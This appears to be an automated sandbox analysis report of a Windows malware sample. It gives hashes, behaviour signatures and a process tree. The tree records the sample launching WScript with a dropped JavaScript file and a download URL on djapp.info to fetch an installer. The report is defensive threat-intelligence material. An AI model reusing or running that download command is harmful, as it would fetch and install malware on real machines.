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Analysis

  • max time kernel
    233s
  • max time network
    337s
  • platform
    windows7_x64
  • resource
    win7-20221111-en
  • resource tags

    arch:x64arch:x86image:win7-20221111-enlocale:en-usos:windows7-x64system
  • submitted
    28/11/2022, 00:14

General

  • Target

    ada62c4c4885dec359b76d72dffbfef251efc4380eff238ac4d3aac1745d25cd.exe

  • Size

    184KB

  • MD5

    36db1869998c870fea3c24eecee26222

  • SHA1

    7c43251e37cf446d26ea1e6bc4a75ea3bf4948c5

  • SHA256

    ada62c4c4885dec359b76d72dffbfef251efc4380eff238ac4d3aac1745d25cd

  • SHA512

    a94c3871cc9e29aa93d0b324915562b9e9d4ec8d7d038b6fa3428f9e061bdf98ffd0d0de112098b716056661eb47ea69458a47c793b72fafe3fda4555f6e1a6b

  • SSDEEP

    3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3z:/7BSH8zUB+nGESaaRvoB7FJNndn+

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 3 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 1 IoCs
  • Script User-Agent 1 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\ada62c4c4885dec359b76d72dffbfef251efc4380eff238ac4d3aac1745d25cd.exe
    "C:\Users\Admin\AppData\Local\Temp\ada62c4c4885dec359b76d72dffbfef251efc4380eff238ac4d3aac1745d25cd.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:652
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf1833.js" http://www.djapp.info/?domain=GSzHnjLKVo.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=J_lbzRQbZuXNkEhP-MAPjQiodRIIVA0RmGYrhLIFYhRn3mR0fhGFWYMOySy1fpgP3Tqr4GalSgF027qeVQko4W8ARNmNAMCdXMWAnI7ZWcJfndWFTQ8Ceizxfr7RVJSNKY6xJX C:\Users\Admin\AppData\Local\Temp\fuf1833.exe
      2⤵
      • Blocklisted process makes network request
      PID:1716
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 652 -s 532
      2⤵
      • Program crash
      PID:1680

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\fuf1833.js

    Filesize

    3KB

    MD5

    3813cab188d1de6f92f8b82c2059991b

    SHA1

    4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

    SHA256

    a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

    SHA512

    83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76

  • memory/652-54-0x0000000074ED1000-0x0000000074ED3000-memory.dmp

    Filesize

    8KB